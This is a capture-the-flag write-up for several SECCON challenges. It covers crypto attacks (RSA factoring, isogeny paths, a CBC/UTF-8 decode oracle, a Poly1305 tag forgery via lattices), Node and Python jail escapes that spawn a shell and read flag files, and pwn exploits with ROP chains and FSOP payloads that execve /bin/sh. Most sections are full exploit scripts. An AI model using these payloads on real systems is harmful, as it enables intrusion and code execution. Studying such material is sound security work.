[TOC] # Crypto ## yukari The code using $n, e, d$ to construct RSA except of using p and q ```python n = p * q e = getPrime(64) d = pow(e, -1, (p - 1) * (q - 1)) cipher = RSA.construct((n, e, d)) ``` And in `RSA.construct` have to factor p and q to check. ```python a = Integer(2) while not spotted and a < 100: k = Integer(t) # Cycle through all values a^{t*2^i}=a^k while k < ktot: cand = pow(a, k, n) # Check if a^k is a non-trivial root of unity (mod n) if cand != 1 and cand != (n - 1) and pow(cand, 2, n) == 1: # We have found a number such that (cand-1)(cand+1)=0 (mod n). # Either of the terms divides n. p = Integer(n).gcd(cand + 1) spotted = True break k *= 2 # This value was not any good... let's try another! a += 2 ``` We just choose $q = k * p + 1$ with random k until it satisfy all the condition - Solve script: ```python #!/usr/bin/env python3 from math import gcd from pwn import context, process, remote from pwnlib.tubes.process import PIPE from Crypto.PublicKey import RSA from Crypto.Util.number import getPrime, isPrime def rsa_setup_fails(p, q, trials = 6): phi = (p - 1) * (q - 1) n = p * q tested = 0 attempts = 0 while tested < trials and attempts < trials * 3: e = getPrime(64) attempts += 1 if gcd(e, phi) != 1: continue d = pow(e, -1, phi) tested += 1 try: RSA.construct((n, e, d)) return False except ValueError: pass return tested == trials def find_bad_q(p): k = 2 while True: q = p * k + 1 if q.bit_length() >= 1024 and isPrime(q) and rsa_setup_fails(p, q): return q k += 2 context.log_level = "DEBUG" # io = process(["python3", "chal.py"], stdin=PIPE, stdout=PIPE) io = remote("yukari.seccon.games", 15809) for _ in range(32): line = io.recvline() if not line.startswith(b"p ="): raise ValueError(f"unexpected prompt: {line!r}") p = int(line.split(b"=")[1]) q = find_bad_q(p) io.sendlineafter(b"q: ", str(q).encode()) reply = io.recvline() if b"error!" not in reply: raise RuntimeError(f"RSA setup unexpectedly succeeded: {reply!r}") flag = io.recvline().decode().strip() print(flag) ``` - FLAG: ``` SECCON{9cb27d297988cdae22deca33d5e54a6955d6f95a010c6aec737ff7509f4ac715} ``` ## Last Flight The challenge is about taking 2-isogeny walk on ordinary curve for `vulcan` and `bell` then asked us to find a path from `vulcan` to `bell`. Both start at same starting curve $E(\mathbb{F}_p)$, take random walk 160 times and avoid going back. The conduction of $E$ is $2^{128}$ and therefore random walk of 2-isogeny is actually ascending/descending on isogeny volcanoes. For every curve on the isogeny volcanoes (up to isomorphism), there is 1 ascending and 2 descending 2-isogeny to walk. Since we cannot go back, once 1 of the isogeny walk is descending then all subsequent walks must be descending too. For both `vulcan` and `bell`, the chance to starts with descending walk is 2/3 so we can hope that both start with descending isogeny then we just take ascending walk from the final j-invariant (this can be efficiently computed by computing the height of current curve by taking random walk and hope it reaches the floor) until we reaches the starting curve. From that we can easily recover `visited_planets` and therefore the corresponding secret `flight_plans`. The rest is trivial. Solve script: ```python from sage.all import * import multiprocessing as mp import sys import functools from pwnlib.tubes.process import process from pwnlib.tubes.remote import remote sys.setrecursionlimit(2000) proof.all(False) p = 4718527636420634963510517639104032245020751875124852984607896548322460032828353 original_j = 4667843869135885176787716797518107956781705418815411062878894329223922615150642 Fp = GF(p) t = -62 r = t**2 - 4 * p D = squarefree_part(r) f = ZZ((r // D).sqrt()) poly = classical_modular_polynomial(2).change_ring(Fp) @functools.lru_cache(maxsize=None) def find_neighbours(j, l): return poly.subs(Y=j).univariate_polynomial().roots(multiplicities=False) def is_bot(j, l): if f % l != 0: return True return len(find_neighbours(j, l)) == 1 def go_bot(j, l): js = [[j, nj] for nj in find_neighbours(j, l)[:3]] while True: for i, ls in enumerate(js): pj, nj = ls[-2:] if is_bot(nj, l): return ls cj = choice([cj for cj in find_neighbours(nj, l) if cj != pj]) js[i].append(cj) def depth(j, l): if f % l != 0: return 0 if is_bot(j, l) == 1: return 0 return len(go_bot(j, l)) - 1 def depth_wrapper(args): return depth(*args) def solve(end, target, target_depth): secret = [] current_j = end current_height = depth(current_j, 2) found = [end] with mp.Pool() as pool: while current_height < target_depth: # print(f'{current_height = }') j_lst = find_neighbours(current_j, 2) args = [(j, 2) for j in j_lst] depths = pool.map(depth_wrapper, args) found_next = False for j_inv, h in zip(j_lst, depths): if h > current_height: current_height = h print(f'{current_height = }') current_j = j_inv found.append(j_inv) found_next = True break if not found_next: print("Stuck climbing...") break if current_j != target: print(f"unlucky: {current_j} != {target}") found = found[::-1] return found, secret def find_inv_secret(found): secret = [] current_E = EllipticCurve(Fp, j=found[-1]) for i in range(len(found) - 2, -1, -1): j0, j1 = found[i + 1], found[i] next_Es = [x.codomain() for x in current_E.isogenies_prime_degree(2)] next_js = [curve.j_invariant() for curve in next_Es] idx = next_js.index(j1) secret.append(idx) current_E = next_Es[idx] return secret, current_E def find_secret(found, start_curve = None): secret = [] if start_curve: current_E = start_curve else: current_E = EllipticCurve(Fp, j=found[0]) for i in range(len(found) - 1): _, j1 = found[i:i+2] next_Es = [x.codomain() for x in current_E.isogenies_prime_degree(2)] next_js = [curve.j_invariant() for curve in next_Es] idx = next_js.index(j1) secret.append(idx) current_E = next_Es[idx] return secret def interstellar_flight(j, flight_plans=None): planet = EllipticCurve(Fp, j=j) visited_planets = [] if flight_plans == None: flight_plans = [randint(0, 2) for _ in range(5)] for flight_plan in flight_plans: tmp = planet.isogenies_prime_degree(2) flight = tmp[flight_plan] if len(visited_planets) > 1: if flight.codomain().j_invariant() == visited_planets[-2]: continue planet = flight.codomain() visited_planets.append(planet.j_invariant()) return visited_planets[-1] if __name__ == '__main__': print(f'{D = }') LOCAL = False if LOCAL: L = 5 io = process(["sage", "chall.sage"]) else: L = 160 # io = remote("last-flight.seccon.games", 5000) io = remote("153.125.146.243", 5000) # Solve POW print("Solving POW...") io.recvuntil(b"hashcash -mb") bits_res = io.recvline().decode().strip() # e.g. "27 AmciiEFLjPuguCIE" bits, resource = bits_res.split() cmd = f"hashcash -mb{bits} {resource}" print(f"Running: {cmd}") import subprocess try: token = subprocess.check_output(cmd, shell=True).decode().strip() print(f"Token: {token}") io.sendlineafter(b"hashcash token: ", token.encode()) except subprocess.CalledProcessError as e: print(f"POW failed: {e}") exit(1) print("Calculating target depth...") target_depth = depth(original_j, 2) print(f'{target_depth = }') io.recvuntil(b"Currently in interstellar flight...\n") line_vulcan = io.recvline().decode().strip() print(line_vulcan) ja = int(line_vulcan.split(':')[-1].strip()) print(f'{ja = }') line_bell = io.recvline().decode().strip() print(line_bell) jb = int(line_bell.split(':')[-1].strip()) print(f'{jb = }') print('Solving secret0') visited0, _ = solve(ja, original_j, target_depth) print(f'Length visited0: {len(visited0)}') print('Solving secret1') visited1, _ = solve(jb, original_j, target_depth) print(f'Length visited1: {len(visited1)}') print("Pruning paths...") while len(visited0) > 1 and len(visited1) > 1 and visited0[1] == visited1[1]: visited0.pop(0) visited1.pop(0) secret0_inv, start_E = find_inv_secret(visited0) secret1 = find_secret(visited1, start_E) ans = [int(x) for x in secret0_inv + secret1] ans_str = ', '.join(map(str, ans)) print(f"Sending answer length: {len(ans)}") io.sendline(ans_str.encode()) io.interactive() # SECCON{You_have_made_your_wish_so_you_have_got_to_make_it_true} ``` ## cbc-magic-word The challenge provides us a "padding oracle" and asks us to recover a secret json within 10000 queries. When requesting to server there are 3 possible cases - `decrypt error`: error from `a = unpad(unpad(unpad(cipher.decrypt(ciphertext), 16), 16), 16).decode()` - `json error`: error from `json.loads(text)["key"]` - `ok`: Passed both lines above. The triple padding along with `.decode()` defeat the use of CBC padding oracle here. Actually when we tries to adapt padding oracle attack, it only works for last plaintext block and subsequent will get `decrypt error` due to `.decode()`. After reading some Python docs, I realized the `decode` method is actually decoding a UTF-8 string, and UTF-8 string with 2 or more bytes require specific format which we can abused to slowly enumerate the secret json. 1 more point to notice is that the character set `string.ascii_letters` have exactly same 2 MSB `01` and UTF-8 string requires most of its byte to have 2 MSB `10` - which is doable with bit flipping attack. The strategy is as follow: - We are given `ct = IV || C1 || C2 || ... || C11 || C12 || C13` with `C11` is ct of `b'}' + b'\x0f' * 15` and `C12, C13` is ct of `b'\x10' * 16`. - `P1 = '{"key": "......'` and by bit-flipping wisely, we can uniquely determine the unknown characters with 52 queries - `C11, C12, C13` is known plaintext so we skip - `C10 = '.............."'`, we attack by using `C10 || C11 || C12` as ciphertext and `C9` as IV. we know its last byte then we can exploit the 2,3,4-byte format of UTF-8 to enumerate all characters of the block by flipping `C9`. Sometime we get 2 candidates but either of them work so we just use 1 to continue the attack, then verify again by flipping IV so decrypted payload will be `{"key": "...."}` and true candidate gives `ok` response - `C9-C2`: Actually we don't need to know the last byte to carry out the attack for those blocks and any last character works just fine for the attack, the strategy is almost the same as above (just adding more IV block to the start, e.g. `C9` attack requires `C9 || C10 || C11 || C12` as ciphertext and `C8` as IV) but we will have 2 * 52 candidates (2 candidates for second-to-last character, 52 for unknown last character) and use similar approach as above to find the correct plaintext. - Flag. At worst case, the attack will cost: - `C1`: 52 * 7 = 364, - `C10`: 64 * 15 + 2 = 962, - `C9-C2`: (64 * 15 + 2 * 52) * 8 = 8512, - Flag: 1 query. => 364 + 962 + 8512 + 1 = 9839 queries < 10000. Solve script: ```python import string import base64 import itertools import json from pwnlib.tubes.remote import remote from pwnlib.tubes.process import process charset = string.ascii_letters def xorf(x, y): return bytes([a ^ b for a, b in zip(x, y)]) def oracle1(x, y): data = '{"key": "' + bytes([x^y]).decode() + 'bhmO"}' try: json.loads(data)["key"] return "ok" except Exception as e: return "json error" def oracle2(x, y, postfix= b'\x81', verbose=False): data = bytes([x ^ 0b10000000 ^ y]) + postfix try: data = data.decode() return "json error" except Exception as e: if verbose: print(e) return "decrypt error" REQUEST_COUNT = 0 def batch_encrypt(data: list): global REQUEST_COUNT payload = b'\n'.join(base64.b64encode(d) for d in data) line_no = len(data) io.sendline(payload) REQUEST_COUNT += line_no lines = io.recvlines(line_no) lines = [line.decode()[2:] for line in lines] print(f'[+] Total requests: {REQUEST_COUNT}') return lines oracle_charset = list(charset + '@{') oracle_charset.remove('b') oracle_charset.remove('B') lookup = {} for c in charset: row = tuple([oracle1(ord(c2), ord(c)) for c2 in oracle_charset]) lookup[row] = c oracle_charset = ''.join(oracle_charset).encode() pts = [] LOCAL = False if LOCAL: io = process(["python", "server.py"]) # print(io.recvline()) else: io = remote("cbc-magic-word.seccon.games", 3333) ct = io.recvline().decode().strip().split()[-1] ct = base64.b64decode(ct) ct_block = [ct[i:i+16] for i in range(0, len(ct), 16)] """ ct = IV || C1 || C2 || ... || C11 || C12 || C13 C11 is ctf of '}' + b'\x0f' * 15 C12, C13 is ct of b'\x10' * 16 """ ### Recover C1 ### # block0 = '{"key": "EbhmODr' iv = ct_block[0] pt = '{"key": "' for idx in range(9, 16): payload_batch = [iv[:idx] + bytes([c ^ iv[idx]]) + iv[idx + 1:] + b''.join(ct_block[1:]) for c in oracle_charset] result = batch_encrypt(payload_batch) char = lookup[tuple(result)] pt += char print(f'{pt = }') ### Recover C10 ### C9, suffix = ct_block[-5], b''.join(ct_block[-4:]) known_candidate = [b'"'] stored = b'' for idx in range(14, -1, -1): next_known = [] print(f'{idx = }') print(f'{known_candidate = }') for known in known_candidate[:1]: postfix = bytes([0x81 for _ in known[:3]]) lookup_char = {} tmp = [] for c in charset: row = tuple([oracle2(c2, ord(c), postfix, False) for c2 in range(64)]) try: lookup_char[row].append(c) except: lookup_char[row] = [c] if len(lookup_char) == 1: continue payload_batch = [] for c in range(64): prefix = C9[:idx] + bytes([(C9[idx] ^ 0b10000000) ^ c]) prefix += bytes([x ^ k ^ 0x81 for x, k in zip(C9[idx + 1:], known[:3])]) if len(known) > 3: prefix += C9[idx + 1 + 3:] prefix += suffix payload_batch.append(prefix) result = tuple(batch_encrypt(payload_batch)) for cand in lookup_char[result]: next_known.append(cand.encode() + known) known_candidate = next_known.copy() if idx == 14 and len(known_candidate) > 1: print('Multiple candidates found at idx 14:', known_candidate) stored = bytes([known_candidate[-1][-2]]) known_candidate.append(known_candidate[0][:-2] + stored + known_candidate[0][-1:]) template = b'{"key":"","a":""' for known in known_candidate: payload_batch = [] block = known prefix = xorf(xorf(block, C9), template) + suffix payload_batch.append(prefix) result = batch_encrypt(payload_batch) # print(f'{result = }') if 'ok' in result: block_original = known print(f'Found block: {block_original}') pts.append(block_original) # exit() ### Recover C9-C2 ### for block_no in range(-6, -14, -1): C8, suffix = ct_block[block_no], b''.join(ct_block[block_no + 1:]) payload_batch = [] idx = 14 for c in range(64): prefix = C8[:idx] + bytes([(C8[idx] ^ 0b10000000) ^ c]) prefix += bytes([x ^ 0b11000000 for x in C8[idx + 1:]]) prefix += suffix payload_batch.append(prefix) result = tuple(batch_encrypt(payload_batch)) postfix = bytes([ord('a') ^ 0b11000000]) lookup_char = {} for c in charset: row = tuple([oracle2(c2, ord(c), postfix, False) for c2 in range(64)]) try: lookup_char[row].append(c) except: lookup_char[row] = [c] try: res0 = lookup_char[result] print(f'Found, {res0 = }') except Exception as e: print('Not found') idx = 13 payload_batch = [] for c in range(64): prefix = C8[:idx] + bytes([(C8[idx] ^ 0b10000000) ^ c]) prefix += bytes([C8[idx + 1] ^ ord(res0[0]) ^ 0x81]) +bytes([x ^ 0b11000000 for x in C8[idx + 2:]]) prefix += suffix payload_batch.append(prefix) result = tuple(batch_encrypt(payload_batch)) postfix = b'\x81' + bytes([ord('c') ^ 0b11000000]) lookup_char = {} for c in charset: row = tuple([oracle2(c2, ord(c), postfix, False) for c2 in range(64)]) try: lookup_char[row].append(c) except: lookup_char[row] = [c] try: res1 = lookup_char[result] print(f'Found, {res1 = }') except Exception as e: print('Not found') idx = 12 payload_batch = [] for c in range(64): prefix = C8[:idx] + bytes([(C8[idx] ^ 0b10000000) ^ c]) prefix += bytes([x ^ ord(res1[0]) ^ 0x81 for x in C8[idx + 1:idx + 3]]) +bytes([x ^ 0b11000000 for x in C8[idx + 3:]]) prefix += suffix payload_batch.append(prefix) result = tuple(batch_encrypt(payload_batch)) postfix = b'\x81\x81' + bytes([ord('c') ^ 0b11000000]) lookup_char = {} for c in charset: row = tuple([oracle2(c2, ord(c), postfix, False) for c2 in range(64)]) try: lookup_char[row].append(c) except: lookup_char[row] = [c] try: res2 = lookup_char[result] print(f'Found, {res2 = }') except Exception as e: print('Not found') for known in itertools.product(res2, res1, res0): print(''.join(known).encode()) known_candidate = [''.join(known).encode() + b'a' for known in itertools.product(res2, res1, res0)] for idx in range(11, -1, -1): next_known = [] print(f'{idx = }') print(f'{known_candidate = }') for known in known_candidate[:1]: postfix = bytes([0x81 for _ in known[:3]]) lookup_char = {} tmp = [] for c in charset: row = tuple([oracle2(c2, ord(c), postfix, False) for c2 in range(64)]) try: lookup_char[row].append(c) except: lookup_char[row] = [c] if len(lookup_char) == 1: continue payload_batch = [] for c in range(64): prefix = C8[:idx] + bytes([(C8[idx] ^ 0b10000000) ^ c]) prefix += bytes([x ^ k ^ 0x81 for x, k in zip(C8[idx + 1:], known[:3])]) if len(known) > 3: prefix += C8[idx + 1 + 3:] prefix += suffix payload_batch.append(prefix) result = tuple(batch_encrypt(payload_batch)) for cand in lookup_char[result]: next_known.append(cand.encode() + known) known_candidate = next_known.copy() if len(res0) > 1: known_candidate.append(known_candidate[0][:-2] + res0[1].encode() + known_candidate[0][-1:]) print(f'{known_candidate = }') template = b'{"key":"a","a":"' for known in known_candidate: payload_batch = [] for c in charset: block = known[:-1] + c.encode() prefix = xorf(xorf(block, C8), template) + suffix payload_batch.append(prefix) result = batch_encrypt(payload_batch) if 'ok' in result: c = charset[result.index('ok')] block_original = known[:-1] + c.encode() print(f'Found final char: {c}, block: {block_original}') pts.append(block_original) pts = pts[::-1] print(f'{pts = }') magic_key = pt.encode() + b''.join(pts) + b'}' print(f'{magic_key = }') io.sendline(magic_key) io.interactive() # SECCON{MakeSomeNoise~~~~~pad-pad-pad-And-Unpad-Unpad-Unpad} ``` ## Nostalgic We have a function that does ChaCha20-Poly1305 encryption with authentication. We can call it as many times as we want with an empty `plaintext` (so it generates a random 15-byte `plaintext`), and it will encrypt _with the same key and nonce_, but we only get back the authentication tag: ```python key = get_random_bytes(32) nonce = get_random_bytes(12) def enc(plaintext=None): if plaintext == None: plaintext = get_random_bytes(15) cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce) ct, tag = cipher.encrypt_and_digest(plaintext) return ct, tag while True: if (inp := input("what is your mind: ")) == "need": print(f"my MIND was {enc(plaintext=None)[1].hex()}") ``` --- ChaCha20 is a stream cipher, so it preserves length and the ciphertext is still 15 (random) bytes. To compute the tag, ChaCha20-Poly1305 uses two secret 128-bit values $r$ and $s$, derived from the key and nonce. For ciphertexts $c_i$ that are at most 16 bytes, and no AAD, computing the tag $T$ simplifies to: $$ T_i = \left(\left(r^2 c_i + 2^{128}r^2 + (L*2^{64} + 2^{128})r\right) \pmod P + s\right) \pmod{2^{128}} $$ where $P = 2^{130}-5$, and $L = 15$ is the length of the ciphertext. We can write this as $$ T_i \equiv r^2c_i + u - 2^{128} k_i \pmod P $$ where $u$ is unknown but constant, $c_i$ corresponds to a 15-byte ciphertext (so less than $2^{120}$), and $-2^{128} k_i$ represents taking the value modulo $P$ and reducing it further modulo $2^{128}$ (so we must have $0 \leq k_i \leq 4$). We can get rid of the $u$ term by taking differences of the above equations: $$ \Delta T_i \equiv r^2 (\Delta c_i) - 2^{128} (\Delta k_i) \pmod P $$ where $-2^{120} \leq \Delta c_i \leq 2^{120}$ and $-4 \leq \Delta k_i \leq 4$. And we have arbitrary many of these equations: I used $N = 80$ equations. --- This looks like a lattice problem because the $\Delta c_i$ and $\Delta k_i$ are bounded. However, it's not a linear equation in unknowns, because both $r$ and $\Delta c_i$ are unknown in the same term, so a standard lattice approach doesn't work. But one of those unknowns, $r$, is constant, which means we can use **orthogonal lattices**. Consider finding short vectors $v$ that are orthogonal to $\Delta T$, the vector of $\Delta T_i$s: i.e. $v \cdot \Delta T = \sum_i v_i \cdot \Delta T_i \equiv 0 \pmod P$. This is a linear equation (the $v_i$ are unknown but the $\Delta T_i$ are known), so a standard lattice approach works. Here is a lattice to find them: $$ A_1 = \begin{bmatrix} \Delta T_1 \cdot W & 1 \\ \Delta T_2 \cdot W & & 1 \\ \vdots & & & \ddots \\ \Delta T_N \cdot W & & & & 1 \\ P \cdot W \end{bmatrix} $$ $$ w = \begin{bmatrix} 0 & v_1 & v_2 & \cdots & v_N \end{bmatrix} $$ If $W$ is large enough (for orthogonal lattice technique, use more than the maximum bound of an unknown: I used $W = 2^{128}$), then a short vector $w$ must start with a zero. From the first column, $v_1 (\Delta T_1 \cdot W) + v_2 (\Delta T_2 \cdot W) + \cdots + v_N (\Delta T_N \cdot W) \equiv 0 \pmod P$, so the $v_i$ form an orthogonal vector to $\Delta T$. LLL finds not just one short vector $v$, but an entire basis of independent short vectors $v_1, v_2, \ldots$ all orthogonal to $\Delta T$. This basis forms the "orthogonal lattice". Now here's the cool part. We have: $$ \begin{array}{} v_i \cdot \Delta T &=& v_i \cdot \left( r^2 (\Delta c) - 2^{128}(\Delta k) \right) \\ &=& r^2 (v_i \cdot \Delta c) - 2^{128} (v_i \cdot \Delta k) &\equiv& 0 \pmod P \end{array} $$ If the $v_i$ are small, then there's a decent chance that both $v_i \cdot \Delta c$ and $v_i \cdot \Delta k$ are zero. Empirically, I found that the top $N-2$ rows $v_i, v_2, \ldots v_{N-2}$ of the resulting LLL matrix satisfy this. What does that mean? Well, now we have $N-2$ equations $v_i \cdot \Delta k = 0$, and we know the $v_i$, so we can use the standard lattice approach again to find the short $\Delta k$ vector: $$ A_2 = \begin{bmatrix} v_{1,1} \cdot W & v_{2,1} \cdot W & \cdots & v_{N-2,1} \cdot W & 1 \\ v_{1,2} \cdot W & v_{2,2} \cdot W & \cdots & v_{N-2,2} \cdot W & & 1 \\ \vdots & & & & & & \ddots \\ v_{1,N} \cdot W & v_{2,N} \cdot W & \cdots & v_{N-2,N} \cdot W & & & & 1 \\ P & \\ & P \\ & & \ddots \\ & & & P \end{bmatrix} $$ $$ w = \begin{bmatrix} 0 & 0 & \cdots & 0 & \Delta k_1 & \Delta k_2 & \cdots & \Delta k_N \end{bmatrix} $$ Similarly as above, if $W$ is large enough, then a short vector of this lattice must start with $N-2$ zeros, and the last N entries form a vector orthogonal to all $v_i$. Since $\Delta k$ is small, it is likely to be the top row after LLL. The same lattice works to find $\Delta c$, so it is likely to be the second top row. After getting $\Delta c$ and $\Delta k$, it is straightforward to plug them into the above equations to get $r^2$ and thus $r$. We're also given one known ciphertext and tag pair $(c_G, T_G)$, from which we can get $s$. The final challenge is: given an encrypted value `enc(special_rain)` and authentication tag for that ciphertext, find a value that can be XORed with `enc(special_rain)` to get the tag `SPECIAL_MIND`: ```python # We are given enc(special_rain) and SPECIAL_MIND if enc(plaintext=xor(special_rain, bytes.fromhex(inp)))[1] == SPECIAL_MIND: print(f"I feel the same!!.. The flag is {FLAG}") ``` Since we now know the authentication secrets $r$ and $s$, we can find a ciphertext $c_T$ that results in the `SPECIAL_MIND` tag. We XOR `enc(special_rain)` with $c_T$ to get the desired value. Solve script: ```python= import itertools from pwn import * from sage.all import * P = 0x3fffffffffffffffffffffffffffffffb F = GF(P) N = 80 W = 2**128 def get_ciphertext(len_c, tag, r, s): for k in range(5): if tag + 2**128 * k >= s: c = (F(tag + 2**128 * k - s) / r - 2**128 - len_c * 2**64) / r - 2**128 if 0 <= c < 2 ** (8 * len_c): return int(c) while True: io = remote('nostalgic.seccon.games', 5000) io.recvuntil(b'my SPECIAL_MIND is ') target_T = int.from_bytes(unhex(io.recvline()), 'little') io.recvuntil(b'special_rain_enc = ') given_C = int.from_bytes(unhex(io.recvline()), 'little') io.recvuntil(b'special_rain_tag = ') given_T = int.from_bytes(unhex(io.recvline()), 'little') # Get N+1 tags for lattices, and some more for consistency checks later Ts = [] for _ in range(2 * N): io.sendline(b'need') for _ in range(2 * N): io.recvuntil(b'my MIND was') tag = unhex(io.recvline()) Ts.append(int.from_bytes(tag, 'little')) # Take differences ΔT of tags to remove the constant u term dTs = [] for i in range(1, N + 1): dTs.append(Ts[i] - Ts[0]) # Find short vectors v orthogonal to ΔT A1 = [[0] * (N + 1) for _ in range(N + 1)] for i in range(N): A1[i][0] = dTs[i] * W A1[i][i + 1] = 1 A1[N][0] = P * W A1 = matrix(ZZ, A1).LLL() vs = [row[1:] for row in A1[:-3]] assert len(vs) == N - 2 assert all(vector(F, dTs).dot_product(v) == 0 for v in vs) # Find short vectors k and Δc orthogonal to all v A2 = [[0] * (2 * N - 2) for _ in range(2 * N - 2)] for i, v in enumerate(vs): for j in range(N): A2[j][i] = v[j] * W for i in range(N): A2[i][N - 2 + i] = 1 for i in range(N - 2): A2[N + i][i] = P * W A2 = matrix(ZZ, A2).LLL() assert all(n == 0 for n in A2[:2, : N - 2]) ks = A2[0][N - 2:] dcs = A2[1][N - 2:] if any(abs(n) >= 5 for n in ks) or any(abs(n) >= 2**120 for n in dcs): # didn't find right solution io.close() continue # Given k and Δc, compute r², then r, then s for k_sign, dc_sign in itertools.product((-1, 1), (-1, 1)): # LLL only gives values up to sign; try both for dT, k, dc in zip(dTs, ks, dcs): r2 = F(dT - k_sign * k * 2**128) / (dc_sign * dc) for r in r2.sqrt(all=True, extend=False): s = (given_T - int(r * (r * (given_C + 2**128) + 16 * 2**64 + 2**128))) % 2**128 # Consistency check - check that this (r, s) does yield only 15-byte ciphertexts if all(get_ciphertext(15, T, r, s) is not None for T in Ts): # Find the encryption that gives the desired tag # ChaCha is malleable; XOR that encryption with given_C to get the change I need if (target_C := get_ciphertext(16, target_T, r, s)) is not None: final_challenge = xor(target_C.to_bytes(16, 'little'), given_C.to_bytes(16, 'little')) io.sendlineafter(b'what is your mind: ', final_challenge.hex().encode()) print(io.recvline()) exit() io.close() # SECCON{Listening_to_the_murmuring_waves_and_the_capricious_passing_rain_it_feels_like_a_gentle_dream} ``` # Jail ## broken-json ```python= from pwn import * context.log_level = 'debug' io = remote('broken-json.seccon.games', 5000) payload = b'''/";process.binding('spawn_sync').spawn({file:String.fromCharCode(47)+'bin'+String.fromCharCode(47)+'sh',args:['sh'],stdio:[{type:'fd',fd:0},{type:'fd',fd:1},{type:'fd',fd:2}]})+"/''' io.sendlineafter(b'jail> ', payload) io.interactive() ``` ```shell ❯ python solve.py [+] Opening connection to broken-json.seccon.games on port 5000: Done [DEBUG] Received 0x6 bytes: b'jail> ' [DEBUG] Sent 0xb4 bytes: b'/";process.binding(\'spawn_sync\').spawn({file:String.fromCharCode(47)+\'bin\'+String.fromCharCode(47)+\'sh\',args:[\'sh\'],stdio:[{type:\'fd\',fd:0},{type:\'fd\',fd:1},{type:\'fd\',fd:2}]})+"/\n' [*] Switching to interactive mode $ cat /flag* [DEBUG] Sent 0xb bytes: b'cat /flag*\n' [DEBUG] Received 0x29 bytes: b'SECCON{Re:Jail_kara_Hajimeru_Break_Time}\n' SECCON{Re:Jail_kara_Hajimeru_Break_Time} $ ``` ## excepython I forgot ex.\_\_traceback\_\_.tb_frame existed *and* the ability to store objects in an error via KeyErrors, so I came up with this steaming pile of garbage. ```py= #!/usr/bin/env python3.14 # -*- coding: utf-8 -*- from pwn import * HOST = 'excepython.seccon.games 5000' # HOST = "localhost 5000" PYVER = 'python3.14' CHALL = 'jail.py' def start(**kw): if args.REMOTE: return remote(*re.split(r":|\s+", HOST), **kw) else: return process([PYVER, CHALL]) p = start() sla=p.sendlineafter;sa=p.sendafter;sl=p.sendline;s=p.send ru=p.recvuntil;rl=p.recvline;r=p.recv PROMPT = b"jail> " bb = lambda data: data if isinstance(data, bytes) else data.encode() slp = lambda data: sla(PROMPT, bb(data)) # EXPLOIT HERE context.log_level = "DEBUG" enc_str = lambda s: '"%s"' % "".join(f"\\x{ord(c):02X}" for c in s) slp(f'{enc_str("{.__class__.__base__.__subclasses__.x}")}.format(0)') slp(f"[0 for ex.__typing_subst__ in [lambda a,k={{}}: [k['r'] for k['r'] in [[a[0] if 'r' not in k else k['r']][0](*a[1:])]][0]]]") slp("[sb:=ex.obj()]and sb[0][ex][[sb[-1]]]") slp("[sb:=ex.obj()]and sb[0][ex][[-1]]") sla(b"help> ", b"subprocess") sla(b"help> ", b"q") slp(f"[0 for ex.__typing_subst__ in [lambda a,k={{}}: [k['r'] for k['r'] in [[a[0] if 'r' not in k else k['r']][0](*a[1:])]][0]]]") slp("[sb:=ex.obj()]and sb[0][ex][[sb[306], ['/usr/bin/cat']+['/flag-d108ec7a911b72568e8aa0855f1787d8\\x2etxt']]]") p.interactive() ``` #ASolveIsASolve # Pwn ## unserialize The vulnerability is that the size of the allocation is found with `strtoul(szbuf, NULL, 0)` while the size that we can read into the allocation is found with `strtoul(szbuf, NULL, 10)`. If `szbuf` starts with a `0`, it will be interpreted as an octal number instead of decimal which gives us a buffer overflow. At the end of the unserialize function, it executes `memcpy(buf, tmpbuf, sz);`. We can overwrite `buf` to point to the `.data` section and overwrite structures in the elf. I used FSOP to achieve an arbitrary call and then stack pivoted to data to set up a `read(0, 0x4ca338, 0x4ca338)` which allowed me to write a second stage ROP chain into my stack pointer. ```python #!/usr/bin/env python3 from pwn import * # exploit r = process("./chall") # gadgets pop_rdx_leave = 0x004936dc pop_rbp = 0x0049d155 pop_rsp = 0x0047e7c8 # 0x004729e7: pop rdi; add rax, rdi; vzeroupper; ret; pop_rdi_add_rax_rdi = 0x004729e7 syscall = 0x00474589 lea_esi_rbp_syscall = 0x00431659 pop_rax = 0x004307ad # 0x00461015: pop rdx; bsf eax, eax; add rax, rdi; vzeroupper; ret; pop_rdx_lose_rax = 0x00461015 # 0x0049d152: pop rsi; pop r15; pop rbp; ret; pop_rsi_r15_rbp = 0x0049d152 pl = b"0" + b"249" + b":" pl += p64(0x4ca308).hex().encode() pl += p64(pop_rdi_add_rax_rdi).hex().encode() pl += p64(0).hex().encode() # fd pl += p64(pop_rbp).hex().encode() pl += p64(0x4ca3a0).hex().encode() # pivot 2 pl += p64(pop_rdx_leave).hex().encode() pl += p64(0x4ca338).hex().encode() pl += p64(elf.sym._IO_2_1_stdin_).hex().encode() # no clobber pl += b"67" * 8 # junk pl += b"57" # idx pl += b"89" * 1 + b"00" * 7 # size pl += p64(pop_rsp).hex().encode() # pivot pl += p64(0x4ca340).hex().encode() # new rsp pl += p64(pop_rax).hex().encode() pl += p64(0).hex().encode() # read syscall num pl += p64(lea_esi_rbp_syscall).hex().encode() pl += b"00" * 0x1 # last byte of canary r.sendline(pl) # rop chain pl = b"" pl += b"/bin/sh\x00" pl += b"A" * 136 pl += p64(pop_rdi_add_rax_rdi) pl += p64(0x4ca338) # "/bin/sh\0" pl += p64(pop_rdx_lose_rax) pl += p64(0) pl += p64(pop_rax) pl += p64(0x3b) pl += p64(pop_rsi_r15_rbp) pl += p64(0) * 3 pl += p64(syscall) r.send(pl) pause(1) r.sendline(b"echo shell!") r.interactive() ``` ## Gachiarray When initializing the array, if malloc fails and returns 0, the size field isnt cleared to 0. Thus by inputting -1 as the size, malloc will fail and we have arb read write to any address in integer range. Since PIE is disabled, it is fairly trivial to exploit, by leaking libc address then moving the array address itself to libc by writing to the least significant half of the array address first then the most significant by writing with a negative offset. Then we can write to stderr an fsop payload to pop a shell. ```python from pwn import * exe = context.binary = ELF('./chall') libc = ELF('./libc.so.6') def packet(op, index, value): return int(op).to_bytes(4, 'little', signed=True) + int(index).to_bytes(4, 'little', signed=True) + int(value).to_bytes(4, 'little', signed=True) r = remote("gachiarray.seccon.games", 5000) """while True: r.send(packet(int(input("op: ")), int(input("index: ")), int(input("value: ")))) print(r.clean(0.2))""" r.send(packet(-1, -1, 0)) print(dat:=r.clean(0.2)) r.send(packet(3, -1, 0)) print(dat:=r.clean(0.2)) r.send(packet(1, 1052692, 0)) print(dat:=r.clean(0.2)) leak = int(dat.strip().split(b' = ')[1]) % (1<<32) print(hex(leak)) 